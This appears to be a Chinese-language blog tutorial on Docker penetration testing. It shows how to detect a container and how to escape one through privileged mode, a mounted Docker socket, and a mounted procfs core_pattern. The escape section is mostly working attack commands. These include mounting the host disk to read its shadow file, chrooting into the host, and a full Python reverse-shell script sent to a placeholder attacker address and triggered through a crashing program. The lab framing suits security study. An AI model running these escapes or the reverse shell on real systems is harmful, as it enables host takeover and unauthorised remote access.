云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

文章目录

前言

1、Docker是干嘛的?

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。

Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

2、Docker对于渗透测试影响?

3、Docker渗透测试点有那些?

4、前渗透-判断在Docker中

没有权限:端口扫描详细信息,根据应用对象表现

但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到......)

拿到权限:

方式一:查询cgroup信息

docker中:
真实主机上:

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境

docker中:
真实主机上:

不过有一点需要注意的是,如果你获取的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的

方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

docker中:
真实主机上:

方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

docker中:
真实主机上:

方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

bash 复制代码
df -h | egrep '(overlay|aufs)'

docker中:

真实主机上:

参考:https://blog.csdn.net/qq_23936389/article/details/131467165

5、前渗透-镜像中的应用漏洞

正常web渗透测试

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
https://wiki.teamssix.com/CloudNative/

容器逃逸-特权模式

启动靶场:docker run --rm --privileged=true -it alpine
检测环境:cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
判断特权:cat /proc/self/status | grep CapEff

如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

查看目录:fdisk -l
特权逃逸:mkdir /test && mount /dev/vda1 /test
判断结果:尝试访问宿主机 shadow 文件,可以看到正常访问

容器逃逸-危险挂载

1、挂载Docker Socket逃逸

启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

进入环境:docker exec -it with_docker_sock /bin/bash

检测环境:ls -lah /var/run/docker.sock
挂载逃逸:

apt-get update

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
chroot /host

2、挂载宿主机procfs逃逸

启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

检测环境:find / -name core_pattern
找到当前容器在宿主机下的绝对路径

bash 复制代码
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

这就表示当前绝对路径为

/var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged

创建一个反弹 Shell 的 py 脚本

bash 复制代码
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

给 Shell 赋予执行权限

bash 复制代码
chmod 777 .x.py

写入反弹 shell 到目标的 proc 目录下

bash 复制代码
echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

bash 复制代码
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
bash 复制代码
gcc x.c -o t
./t

不过我这里尝试了好几次都没有成功......

模拟真实场景:

1、高权限-Web入口到Docker逃逸(Java)

bash 复制代码
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

2、低权限-Web入口到Docker逃逸(PHP)

bash 复制代码
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

java大部分都是高权限,php需提权......

相关推荐
smileNicky1 分钟前
Docker 部署 SpringBoot 项目超详细教程
spring boot·docker·容器
珂玥c1 小时前
kubeadm方式部署 k8s 1.21
云原生·容器·kubernetes
zyl837211 小时前
前端开发网络安全注意事项
安全·web安全
OpenAnolis小助手1 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
小义_2 小时前
【Kubernetes】(十九)监控与升级
云原生·容器·kubernetes
tingting01192 小时前
敏感目录扫描及响应码
安全
智慧医养结合软件开源3 小时前
规范新增·精准赋能,凝聚志愿力量守护老人安康
大数据·安全·百度·微信·云计算
炸炸鱼.3 小时前
Kubernetes Pod 深度理解:从入门到实战
云原生·容器·kubernetes·pod
宇明一不急4 小时前
k8s 常用的正则表达式
云原生·容器·kubernetes
云游牧者5 小时前
K8S-HPA自动扩缩容实战指南
云原生·容器·kubernetes·hpa·弹性伸缩·hpv